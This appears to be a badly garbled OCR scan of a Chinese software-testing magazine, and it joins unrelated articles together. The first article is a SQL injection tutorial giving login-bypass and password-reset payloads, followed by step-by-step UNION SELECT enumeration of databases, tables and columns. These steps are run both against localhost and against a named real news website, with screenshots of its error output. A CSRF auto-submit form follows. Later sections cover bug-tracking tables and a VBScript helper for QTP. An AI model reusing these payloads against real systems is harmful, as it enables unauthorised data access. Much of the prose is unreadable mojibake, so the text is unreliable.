W R i AR B B934, 3R T 86 B4 HtmlParser()f= javascriptParser()
H R AT G| R PAT R B FI AR B EO S “Gag” M ER.

6. SQL ¥EA

AR —ANBEFB, BEROAEAREE, HOCH R FZBEEE.

Ji %28 %f SQL B [ 36 5 A % 7 5% .

B8y 1) FREURS 28 3 2k 5 o 0 2

2) B UBAEE NN,

Xt php. mysql. jsp. oracle. access SF#f fE #1780, H B &7 A A — 2.
1. A H SQL #HATEN:

T php A1 BM: AH P4, %4,

1) — A M SQLBHEBR:

7 % —: select *from user where username="$username’ and password="$password’

#3%E=: select username,password from user where username=$username’
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if(count()==1)

if(password="$password’)

BRI,

xtFHE—

40 3F $username=x" or userid=1#>, M| SQL & 4] 7 fk.:

select *from user where username="x" or userid=1#" > and password="$password’

B SQLIEANF#ATRR T, Hbiikr&iE, BT#lE lREH A LHAT.

BINJF P 4 x> oruserid=1#" 1 By 4518 = B4R, WA P A GE, HEd 4K
userid B %], {2 BIXAFH H P4 R AGFER, LR R T A 7E SQL E NI A .

IR AR userid=1,2..... R IF LK AEE B 7 $L

xtF =

Z $username=x";update user set password="123456 where userid=1#", I, i SQL & A &
Jo3

select username,password from user where username="x’;update user set password="123456" where
userid=1#"

if(count()==1)

if(password="$password”)

BB

HRTE— RN FEMNE LY, R E - FERIEFGE, BT UENR
GBS R B R TT T =

P A REKE, 25 NS RE#T2RK, EHA A THA# T post i K.

DT fiddler TESHATH B, 525 RO R HAAR, T f b R B B
RBEE TN E A AR, WAMEZ)E S, ®HEERNEA mds ek 7 K
HAT I 5 2 B B CHATRON.

ER: md5 e O A W] e e K

jiami.php<?php echo md5(“123456”);
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7>

AEA4T jiami.php 2t &k KB 123456 # 4T md5 An s = 5 89 5% .
¥ 2 3 im 55 6 55 SR UG £ password B, #HATHAT. T EHAATE MR, B R
T B9 7 LW K 4 2 user, F 4 2 password, E AR 4 ¢ mdS AT A0 % Y.

TR A28 o A A AN K R AT, FrUE AR, EAIR, RAOIFZERN
A Pl VEE T R AR TREMEARATEERZRONRK, THTEEEH.

2. F|F URL 33t S530E N\ SQL

URL Mol S 8ag i e il FF? 2 B0 5 8=2 D FEEMa it 58, AP 7
EEmAAE. 40

http://localhost/phpwind/read.php?tid=213361
J& 4ty select &4 A
select *from thread where tid=213361

E:otid R NS, B —EEN, ERIANSHWNEREE TS GET[tid]#AT
REH) . LT Z MR %

1) # tid f£# #9 /& 213361 order by 10, J|3& A1 % i T select *from thread where
tid=213361 order by 10

2 ) tid 15 3% B & 213361 and 1=2, | 3&4] % ik 7 select *from thread where tid=213361
and 1=2, XAMEAHATA 2R B A 4

3) MIRZEEA sql IEN R, AFURFAEE S, £5 EREAERNTE.
# tid /£ 09 & 213361°, N|iE4] & & T select *from thread where tid=213361°

R XM RHATH A IE#IEF R, R AL oA o3 HE A
EFERAT, BLETHREER, HWAVWAAGTERA;, Rt THZELZNKE, &
FEAHTHRENHARZ G REHITTAE, ZAFAFERHE.

3. ofT A A iR
<1> iz Fl HH1EA H#ATHE

)\ URL: http://localhost/secure/view.php? tid=213361 and 1=2 union select 1,2,3,4
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R AR BE, BT LAIZ A order by 1E &) #AT IR G 4L,

The used SELECT statement have a different number of columms.

<2> order by & 4] X £ 7

# N\ URL: http://localhost/secure/view.php? tid=213361 order by 10

A B E BRI 10 7, R — ik AT B 74K

wZ4 N\ URL:

http://localhost/secure/view.php? tid=213361 order by 9, % & # 4T 4%, WL &7 H A
971,

<3>union FH K 2| 8 ATIRIA 5

union x % 5 8 % KT Bl B select 1B 6] I B xR EOF B R RIGRA, Pl RAAE
R, ok AL B LA R R AL B

http://localhost/secure/view.php? tid=213361 and1=2 union select 1,2,3,4,5,6,7,8,9

| %$ RLJ& 6 B select & 4] 2 :

select *from thread where tid=213361 and 1=2 union select 1,2,3,4,5,6,7,8,9

ARRETUFERE =, = W. I, NF T USATHEHTE HHE.

<4> F % — 7| B BPEEL R lean

N URL: http://localhost/secure/view.php? tid=213361 and1=2 union select
1,database(),3,4,5,6,7,8,9

<6> F % = 7| B B4 F 8 i A % rubby@moggie

)\ URL: http://localhost/secure/view.php? tid=213361 and1=2 union select
1,database(),user(),4,5,6,7,8,9

<6> FF ZFIRBUREE Py — kA4

N URL: http://localhost/secure/view.php? tid=213361 and1=2 union select

1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=’learn’

<7> J % ZFIRBEEE o E — kA4
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JE: limit numl,num2 5 numl Z 358K FF 468 index, MO0 FFéb, Rkr® —4i0
Fnum2 2 AE numl+l & FF4E, B num2 4.

)\ URL: http://localhost/secure/view.php? tid=213361 and1=2 union select
1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=’learn’ limit

1,1
<8> FREL user Z 4 < 7|

)\ URL: http://localhost/secure/view.php? tid=213361 and1=2 union select
1,column_name,3,4,5,6,7,8,9 from information_schema.columms where table_schema="learn’

and table_name =’user’ limit 1,1
<9> FREL user &My % — T4 4

)\ URL: http://localhost/secure/view.php? tid=213361 and1=2 union select

1,userid,username,password,phone,email,7,8,9 from user limit 0,1

DAL 236, HEPT A B BB AU 5k, 4 oAb ¥ DUKE i R BB MBI K.

7. B R

WA S ) B AR R R T R K XA W RS 0 A
1 WA 3R (cookie), DA 3 3t Bl A 3k A #Y 36 3E .

1) GET # k:

il 4 3 % EF K, B T userid = 12345, MR XE GET K4
http://www.xxx.com/user.php?userid=12345.

MK FHRPESPREE O E QIR FREFRKEAE AP 7T UUEE
W, B A RS, BRIl kiR — Mg KT E K,

B A b 7 R HE SR O\ B3 T E o A R AT

<img src="www.xxx.com/user.php?userid=12345" />

2) POST i K:

YR80 32 5| FR 4% £ (Hacker Server ), #R /5 ¥ % i Hi st
( http://www.hacker.com/test.html ) % % 2| 5 A ¥ DA g st e #7514 ¥ DA AT B0t



https://www.baidu.com/s?wd=%E4%BB%8E0%E5%BC%80%E5%A7%8B&tn=44039180_cpr&fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1Y3nWFWmvm1PHm1nhf4P1TL0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EnWRLrHRLP1b3
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<html>

<head>CSRF Post Demo</head>

<body>

<form action=.. id= xx method=post>
<input type=text name=id value=12345 />

<input type=text name=para2 value="xx' />

</form>

</body>

<script>
document.getElementbyld('xx").submit();
</script>

</html>

=. SQL NI E &

1. FREFENHITANRE SR

1) #EEAFRE, BERR; (% 8% inurl.php #4T)
2) HEBAFWEMRRAEXRE, TFEHE SQLERHT 3K,
3) A SQL #HATIEN.

2. 4

http://xian.gjnews.cn/list.php?page=4&id=524

1) #3%

http://xian.gjnews.cn/list.php?page=4&id=524’

s SQL & A7 H4h, 103k SQL &4 : select * from type where id=524'
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€5 C xian.gjnews.cn/list.php?page=48&id=524%27 B %

=

#omm [ seeess @ seresest EE—T, ot B webttmitasis  [) SERAER o RewR -mE [ SEREER @ ABmE [ Nids
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

select * from type where id=524'

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
ine 20

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
ine 20

OCEFHR HOU | B || KIE R | S| A | L | £ | B | BE KRR Y g g & wii#

B A 0 O £ 14

‘ i :ﬁhfi&ﬂmﬁﬁ%:: ‘ &
2 wxdm o

2) order by

http://xian.gjnews.cn/list.php?page=4&id=524 order by 20, #3i4e: &, 44 A
TR,

&= C xian.gjnews.cn/list.php?page=48&id=524%20order%20by%2020 B

gm0 seeezs @ tarecent (@ EE-T, meona B webtttemidat [ SEIREER W R - mE [ EREEN W apeE [ Widids
Unknown column ‘20" in 'order clause'

=

select * from type where id=524 order by 20

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
line 20

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
line 20

(e 3 FiE3 FI| B || Rk | AR R AR |k |6 | SR A RE Y ga g & Rk

N e o e L LI SE R S
‘i IR IEETT F 3 e Spet o

P

http://xian.gjnews.cn/list.php?page=4&id=524 order by 10, # 7 7£% & 4k, 19 5| 4
7 10-20 1T, WAL ELN.
€9 C xian.gjnews.cn/list.php?page=48&id=524%200rder%20by%2010 B

#omm [ seuEss [@swreeemt EE—T, o B webttsemitsaiy ) d@m0AER W Roowa - mE [ SEOEER W asms [ Nidids

SEFRL BOU | Bty | R | OE | AN | M | SHS | TR | &% | EK | BE | A | HE v Y g & 2Rik

\ i LSS s . e

‘ R By e R 0 £
SRR 6 &

%‘W" &-fﬁ'm 1o > Ao

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near 'order by 10 or type_id in(select id from type .
where parent_id=524 order by 10)) ' at line 1 H'ﬁﬁ

select name,memo,id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 order by 10 or type_id in(select id from type where parent_id=524 order by
10)) and enable=1 order by modify_time desc

http://xian.gjnews.cn/list.php?page=4&id=524 order by 15, % 7% & s, AT %K
5 15-20 17, [ A4S E A,

36
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You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'order by 15 or type_id in(select id from type
where parent_id=524 order by 15)) ' at line 1

select name,memo,id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 order by 15 or type_id in(select id from type where parent_id=524 order by
15)) and enable=1 order by modify_time desc

http://xian.gjnews.cn/list.php?page=4&id=524 order by 18,

AR FA, BT R £ AT 18 7.

€ = C [ xiangjnews.cn/list.php?page=4&id=524%200rder%20by%2018 B s
HmA [ EaEERE @ tsuEmmiaamA mE—T, povna B webtteantasiy ) GROAER @ Reoit@ - w8 [) PEQARR o AmrE [ Wids
Unknown column '18' in ‘order clause'

select * from type where id=524 order by 18

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
line 20

Warning: mysql_free_result(): supplied argument is not a valid MySQL result resource in /www/web/xian2_gjnews_cn/public_html/class/common.php on
line 20

OCAEFRER HOL | S | B KIE AN | BN |k )G R0 Y ga g & 2Rik

l s Bt e A & R S
. ‘ @ Elmn!i'-ﬁiﬁg; QLUIOSIES QS

2 wxHm o

http://xian.gjnews.cn/list.php?page=4&id=524 order by 17, #& &% A4, WA 7| %
= 17 7).

€| .C xian.gjnews.cn/list.php?page=4&id=524%200rder%20by%2017 &) s
gm0 eeerzs [@iserecesr (@ 88—, sopsna B weottemizatiy  [) SERAER @ Raied - s ) cEREER @ g [ Wids

(-3 g WU |EH | BRI R | SR | | R | BE | BE A (AR Y g g & Rk
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; ‘i TEETT i e
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You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'order by 17 or type_id in(select id from type = o
where parent_id=524 order by 17)) ' at line 1 H'ﬁlﬁ

select name,memo, id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 order by 17 or type_id in(select id from type where parent_id=524 order by
17)) and enable=1 order by modify_time desc

3) KESQLIENE

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
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« C | [ xian.gjnews.cn/list.php?page=48&id=524%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 B =
#mA D eetEss @isvereeent @ EE—T . goons B webttiEmitssiy [ +EREER © Rl - e [ PEREER @ apmE D Witids »
OCEFALR BOL | Bt | RN | SE | Ak | SN | AMS | U | £% | BK | BE | N (WS v 7 g & wri# -

# ‘ i GRS RN

B8 wxwim ]

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'union select 8
1,2,3,4,56,7,8,9,10,11,12,13,14,15,16,17 or type_id in(select id f' at line 1 H-gﬁﬁ

K T B B e L LR SR 8
I s

select name,memo,id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 or type_id
in(select id from type where parent_id=524 and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17)) and enable=1 order by modify_time desc

NETEREAXBERHT 2, WHFTUER T AT ErNE 2, XEHZ
ENHALE.

4) RIS E 4K

Y% 2 5| %3 % database(), B[ Mk EHAR A E A 0 T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

METE, ERINIE T 2 #9377 12 gjnews_new, 3t 91 #5384 22 gjnews_new.

L (e xian.gjnews.cn/list.php?page=4&id=524%20and%201=2%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 B =
#um [ eewErs @ suersmens (@ BE—T, sevns B weottisuitsmitis ) SEIREEN W Rk - wE [ tEREER @ wmms D Widids »
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You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'union select
1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 or type_id in(se' at line 1

g’éfﬁ?’\_,_& B 70 18] D0 ' 7 Ak S
&

select name,memo, id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 or
type_id in(select id from type where parent_id=524 and 1=2 union select
1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17)) and enable=1 order by modify_time
desc

5) KEKBENA |4
Y% 2 B &R user(), Bl ShEHEEA 0T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select 1,
user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

O TUE, RN R T 2 e 77 3 root@localhost, it W £k 45 E A P 4 =&

root@localhost.

6) REBEKEEFNE —Fx4t
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¥ 5% 2 7| % ik table_name, BRA T UL T #t2 A O Fde BoR B9 1 5 A6 U4, B A limit
01 EHAT, Bkt tiEamT:

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema= ‘gjnews_new’

€« € || xian.gjnews.cn/list.php BTl =4&tid=524%20and%201=2%20union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%@0 15| =
Hpm D) eewess @iuwereeeps @ ae—T, mon B webtmmiiaay D dmgasm @ 2ows -mE ) PEEEER @ A0E D Midids
OEFER LEAE SRR RSN NE LNECNESNE N R RE LA SR AN S g & ARi#
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‘ E LTI B T A2 B 7 £
2R SEHA -

OETUE, ERNET 2 a7 3 ad, HARKEEF —KEA ab k.
) RBEEEFE K

¥ 2 5| &4 table_name, limit 1,1 &M 148 1 483, B2 % k&,
Bl b B b A 9E A 0 T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema= ‘gjnews_new’ limit 1,1

(= c xian.gjnews.cn/list.php?page=48iid=524%20and%201=2%20union%20select%201,table_name,3,4,5,6,7,89,10,11,12,13,14,15,16,17%@ 75 =
#Hum D erewess [@iveremest @ Ee—T, v B weotthemiaaty: [ dEmaan © mows-wE D cEgaEm © pmns [ ditids 2

OAEFAER RO B || K AR | S| | KBRS A RS Y g g & 2Rk

N o X TS ShE R it L R SR i
% ‘i LT T T~ 6 &
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2 wxhm o[

METE, ERN TR 2 #4773 ad_type, 384K 3EE % — 7K & 4 ad_type &.
8) IR KA

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables limit 0,1
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&= Cc xian.gjnews.cn/list.php?page=48&id=524%20and%201=2%20union%20select%201,table name,34,5,6,7,8,9,10,11,12,13,14,15,16,17%8 7 £
ol [ eernss [@iouereesst [@ mE—T. covms B weorttaisaty [ PERAER W Bows - e [ PEOAER W ameE [ Mdids

OEFRER HOU | B | A8 | Kik | ASE | A | SMR | Xk | BE | WK | Bl | HA | WR VY [y Q & 2Ri%
|- ST B ) D £
* ‘ ‘i ERENEEE RS R o gﬁ-‘-a 75 ’-i 6 &

%‘ﬂ‘- &&ﬁ'm %1 — CHARACTER_SETS

You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'union select
1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information' at line 1

select name,memo, id,date from article where city_id=13 and 1=1 and url=" and
(type_id=524 and 1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.tables or type_id in(select id from type where parent_id=524 and
1=2 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from
information_schema.tables)) and enable=1 order by modify_time desc

WME T E, RN E R 2 thib 7 3 CHARACTER_SETS, P& — KN
CHARACTER_SETS .

9) REBMAMKMBITAH

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,table_schema,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_name=" CHARACTER_SETS’

€« = C xian.gjnews.cn/list.php?page=48&id=524%20and%201=2%20union%20select%201,table_ schema,3,4,5,6,7,8,9,10,11,12,13,14,15,16,188 v¢
#mg [ eedEss [@isuerecsst @ 5E-T, govne B webttigiitaany ) oERHEER 9 Rowd - wE ) SEREER @ wsms D Nitids

OHEFAER UL | Bl | RRAG | G | AN | RE | SMR | LR | & ER | B (NE |HE v Y g & wRi#

} ‘ i SR

ZF wxdm o

=

Eél%‘%“li: 7 0 18] D80 ' 7 A S

WME T, RN E R 2 #9377 H 3 information_schema, % CHARACTER_SETS
& Bt & # 27 information_schema.

10) kB CHARACTER_SETS & # % —7|

¥ % 2 5| # 3% & column_name, B thEHAS A EA) W0 T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table name=" CHARACTER_SETS’
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WMETUE, TERIR SR 2 #9377 H 3 CHARACTER_SET _NAME, A
CHARACTER_SETS 5% % —7%| % CHARACTER_SET_NAME.

11) B CHARACTER_SETS F Ky 15 $( 3
Y% 2 | &k column_name, Bty B AR 25 E 4 40 T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table name=" CHARACTER_SETS’ limit 1,1

€« c xian.gjnews.cn/list.php?page=48tid=524%20and%201=2%20union%20select%201,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,188 vx =
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CHARACTER_SETS % % —7%| 4 DEFAULT _COLLATE_NAME.

Y% 2 5 &4 & column_name, Ef Mk BHAS 2845 4 4o T

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table name="CHARACTER_SETS’ limit 2,1
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http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select
1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table name=" CHARACTER_SETS’ limit 3,1

[ ] (¢ xian.gjnews.cn/list.php?page =4&id=524%20and%201=2%20union%20select%201,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16, @ 7v =
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7| 4 MAXLEN.

12) 3RI CHARACTER_SETS kW #¥ —4T¥ &

Y% 2 5| % K CHARACTER_SET_NAME, B jhEt#h &5 4] 40

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union select 1,
CHARACTER_SET_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from
information_schema.columns where table name=" CHARACTER_SETS’

WML TUE, TERIR BT 2 #3713 utf8, 3% CHARACTER_SETS & % — {4 %

utf8.
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SRR A
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BEAM 7= aa L& iE
& {E&E : Ik &

— R EBR P i 2 A R s T AR AR B W IE AR

WEFRER: ArFrEiksd, —BBRASHEREGRE, REHOHE, —LHFRSH
ShMENE KL LB ®RER ATEAIVER P (—Bo/Lt7) WEAF RS H
B, REZRATHE, RAZKERE.

BEWERK: AP ERadAfeasl/Lan, s&0HF 8RR EE. bR
FERMRE, BEZRZRERRERE LEER.

TR IR E PR 2 B B2 KA T &, %R bug H# L& K.

Wizh e Mt L e B ARLZ ML, UTH—UH, DB ERF A E&
B FHAAT. LR, &Y R, b&. EAEANHBANE LR,

— LEWEE
1. RIRMRAE PRI R

Bk EE RFTA £E
FANERIRE | TEEHE |#) feem . FA. MRAFTA—ZH .
KIS AR |
s
EBTH bug 15 | BUE & 5 | X yE4 % bug ¥ K 1% 0L K& M2 |5 &

WL RAE-& 4t | Ao K TE 5t AAfa 5 7St A B SN bug AL EE 5T R B
ol 8]

T P2 bug B BHE, 78001519 bug BT\ 4= 4 L BB K
ST R B[] Fo S 2R G R, R BRI S B R A

Vi &l TEAG T | A & 3 i

et
KKzt |FERd [REAIHFK, FEFHATLEMNE A AR 5T R E
B. Fx% PR |REkE
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AEE| TEEHEARH THMT E.
googledocs |3f % 1 i googldocs, BT A A B #T K it EHR A
T & Fa il
K& HH
=P &4
| B a] A
MR 5 R
i [
MR %) TEHE® (AT EFLEMERKR, BNAHNKT %, 7 ERH®
icbi i3
MK T F FHEE |EANRESBE 1R, SHAMNR A FTAL B NRK T
icbi ES
M F 5
APAT
&R MEEE |—MTrRLEEE, FEFAT TN %X
i TR E K, BE L bug, b E A&
FilE LM T A &Rl
W B e Tt AR SRR ], XERFKAEN, &
F & R A A
2. EMMRERRKE
ERBBTRS | THEEARKE | REFRBOATAIAAR, AT, EHE5E
P 6 A P AR f 5T A% | A O A
E
EHENTE |REEAR EHE N T H A
Bl A YET | TE G BEA R RS | —EAT B L& B # A S e irk ROR I A
B 8 AT 3 R A D , REBWITEERALERS,
RN R &N — i EE XA e tE £ — KA at
T HAT At P, FOARRARR EM R EFE, Hirm T
P AT, DA BT i 7 i
P Y —REFRIET W, T ERRBE AR LR.
FRE R
M3 30 XN HE AT
K, KT
.
Bug it # TEE AR RS | FTRELE, THERAN bug FIHT X 4. H#H
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=. BEHAT
1. WA " BRI R K E

FFARNRBL K |TEEE R | BT RKNOREGH, ERMNREGERTD
WﬁAﬁ%ﬂ:ﬁEAAAaaﬁﬁﬁﬂ@Dk@ it P REE AL
X E B, W REAE, ik = RANRKESHH T,

AR A, EWEZ%%L%

FFI6F bug % | MK A B & H | 33F bug

Ik R IE

WIlEE, NIl | BRE TR | FTEARARGHRLLEWINA—T, LHEE E4&W

G B A A | — BRT T
B 8] A K AR AR, SR E R R T A

A P RAR BRI FAL B | MR I BOAR SF AR AR K 3] L
Pt

E 7T &7 bug

Uil YN

K IE A4 % bug 3 K F DK L ] A

WU RBEi | Ao K TE 5 Afe P i S A B Sk A bug ALFE T
54l ik, Bt ]
TE 18 PHLZE bug By BHE , 72001519 bug BT T AR s By
16 PR 5 ik B [B] Fr R A A BT ], R ZIEY R A
EXR LW —AERHAFLALE. FRAAE. F
% %% bug, bug = 77 ¥F &40 £ P 2 IF KR _E 4
F%E Bug &% |FHE AR | XiE bug ffi k&
HfE
#E LR TEEENT | T EFEeERKr, ZNABHAELHR, FEL
AT SRS
MR H R LT, W& % bug, MK E )
K oh Fn il ik bug, &8 IFfE bug 2 T FEE F4; B A
RE|NTEER, EHEE .
wREARRK, BURHAEN FHE.
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A K IE S EREHRAEE
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TR A HTAAERZE LEARAN=Z2WA, EHNa L

P
m
i}
He
p=ss
o

SR PR, 2V E&E R T IR A R
&, KENFLFATAEERAZRNRD, &
Ih 2 E @ W buffer time, 4| il &0 .

® REJE 2 H o) R RS KA Rl A KA 4R X
WAy, AEEEATEEEARES, HESE R
BT TT R B RN, R &RE

KIREREAR (5%)

E |2 |E |EHW EE|E BB |EH= E B |E B
| b:ri G B\ (8| M
T | & L4t %] THERI R AR,
20 R PIN-E B &t
(1. ELE# Rl B AL R
2. REEH T (ARE % R4
B3, RIKREK , WRAEH—K,
GREEE € G EH— KB )
o4, MR AR
IR
5. FRFA
IR
W, E&YR
WIE R E WRIEFE x iE
% 2% 313, Ik 71 5 AR iE FARBTEHNERE, EENRE T
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R &k BB LA KT
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mfe M TTAKIE
B0 AR B TTAKIE
M (HFFE) |BRAFRAKRE
. E%

¥k LR B R A8, BIE L — R 2ER &R, BIA5H T
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& 2\ - HiRE

—. MEHEEMN:
o XIHEM—K
® MM

® N

=. WREHF A

® i

® AMUFAA WA (QQ. MfEF)
® HARHAEAWE (QQ. MEF)
® L iE V4

® A THXH

® L AL

=. FREWEF KR

1. MR fEA

R ARMER, BT HEMREIL
oms BREE.

ERp R ERRERGAEE, FEET. A4 todo HA SR R, WL
AR A R B
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2. HXRAEHLAAR (QQ. HEF)

fhm: MELEEEZA, TUEEER. REEXTEE

Sep: B BT REERF KRR FERANE, TN THaRREEE L.
BRI ZAFESE, AHBREERT L.

3. HXRHEEAARE (QQ. HEF)

fhr: AW, ET R RGRFE RS0 LE0E kA EE

fhp: RERFERL.

ER R FEAENGEEDLBERL, AludAREEE. REELE. XHE
. BEEXAfRE R,

4, BIFEHE
R BRME. WEKERL.
Bt MREATHEIXT .

ERYE: AAREMNEZRRLN, FERSF/AMN WAL, HENZD L
A LAEA G, TR W A E, Ay waEw, FEEMT AT HIER
L E.

5. B X AR
R MR, WEKERL.
b TREAITHEIXT Y.

ERE: AAREMEZRRIAN. FEEIRAMNTWELN, WANEFE
IR ERFE A BB REE . B TP iR, B AFAZR, SFERA
24T 3 (.

6. ZAFSWE

T BREE, WEREA.

Gom: 2FE SRS A,

ERGE: ZAREMER, HEARERE, FELASLH, FELABEXH

K
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R AR, BTEFHRGE, FEASENIABRT2HEAZST OK.
ER: EERWREMAT, BEEULLHTAGEA.
1 4
o MTHAMEREMMERN, FEREEAG =, AFHRMEGHHET K.
o MTWEE, FEAATHNMERES. AT,




AT

Lesting (51 WiKit) FI+H(F)
;4 ™ www.51testing.com

QTP FHZ—1 R &8 & IE K5
AR EEZHHARY OEE 15 B

LDRABR L THEIE, TTUHEHE AT EL: Y464 true B, A ENBHKT
BR. XRFEBEREDHAT. —HEAT, ZNRBEIHTARKEHRDKELN, thi
fa] B0 UL T F IF-Else’ S50 A, G2 E W T, 2# A Switch (7 JavaScript # ) 4544
R,

ST, BATR A DA T B 8 7 AR LA E. Flan: BRBAH —A> excel X, 2
HAHBG, aRlaa N R TAT R R RIS T T, BIREE—FF#
FAK, U E R HE B BERERE, WHPATATH 7]+ 2 oA Bl o &
(BB ).

Z excel FIRABAE A TR Z B E K, BEX-EK, AR TH T HX
REENEGETAHER, SUHHEEATWAEE true T H B BN RET R E K,
MR M. ETE, RFTUERANRK, FRAGH LI 2.

o FHMKFELRE:
Function [Select Case](ByVal dicCases)

dicCases 5= — ™ A HE-(EXT B9 7 H AR, R BN, ERCEMA FHH 3

HIERE: 6T R VBScript — KE AR, BW T UER SR T HRERE X
T RATIR,

Function [Select Case](ByVal dicCases)

Dim [Case], [Cases]
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[Select Case] = False
If (Not TypeName(dicCases) = "Dictionary") Then
Print("Nothing to do™)
Exit Function
End If
If (dicCases.Count = Q) Then
Print("Nothing to do™)
Exit Function
End If
[Cases] = dicCases.keys
For each [Case] in [Cases]
[Select Case] = Eval([Case])
If([Select Case])Then
Execute(dicCases([Case]))
Exit For
End If
Next

End Function

® A

Dim arrTemp, i

Dim dic
Set dic = CreateObject("Scripting.Dictionary")

dic.Add "arrTemp(i)>70", "Print(arrTemp(i)&"" Wear a T-Shirt!"")"

dic.Add "arrTemp(i)>60", "Print(arrTemp(i)&"" Wear a hat!"*")"

dic.Add "arrTemp(i)>50", "Print(arrTemp(i)&™" Wear a long-sleeved shirt!"")"
dic.Add "arrTemp(i)< =50", "Print(arrTemp(i)&"" Wear a coat!"")"

arrTemp = Array(50, 55, 60, 65, 70, 80)

For i = LBound(arrTemp) To UBound(arrTemp)

[Select Case](dic)




EZIrm O

siLestwng (51 WiKith) m-+H(F)
I Wl www.51testing.com
Next
o ‘i

50 Wear a coat!

55 Wear a long-sleeved shirt!
60 Wear a long-sleeved shirt!
65 Wear a hat!

70 Wear a hat!

80 Wear a T-Shirt!




AT

Lescing (51 MKFEME) PU+P9(F)
L S IR ol www.51testing.com

1% 0 B a6 38k i% iR

YTHRZ R AE CETFEHED o, WARSDRAITIS. BETEHBY
MK Leader THEAFLHEE, E2FFFH. THRAREME O NRK2FHITHZ AT
B e sk i — e 2 AN 2 A2

ZHHL, ROVIT-—EARFINK, wEAWELT, ERA—HEFHEITHE. &
AWM EFHENRE, BINTELRS HAFEFFRGRAK. AREE - NFERFBR
T8, B seERBATFEEAN L RAFnX N 0 A K o 2 ik 40 2 3K —
W, TAEEA YK, HNEHMERBEERAAZT, B4 tomeat RAART, FEHfEF X
XA “RAEENRFG B RN RS Sk, BINGAmE T ELqEMA,” X&
SELE A

BRHEE, XHETE, ELNEHFHERTEE MR T, 87w RaEH%
BOREERNGE, TRHTUMBIAXMEE TD? TREREWN EH R, R —FBN4
SoapUl TEM X &, BRITY, BB TACEEINEERK. AEBEERLE LA
g, IR 3] SoapUl T35+ & . H 5% 3] BT R A B L T RXFLA KA
HARYL), ARUARZFIT IR, FRAKLART TAKREE 65, Groovy, xpath
EMELF I ER,

% 3] SoapUl & # 7 & 3t 2 & B P www.soapui.org, X 5% AW b E —4E, FE
P ARE—D qq B EEME — MR EEBFARBAERR S, FHEEREEE, BTl
7 H IR FE SO R, B SRk 2, #HE LAWK S . LAES SoapUl T
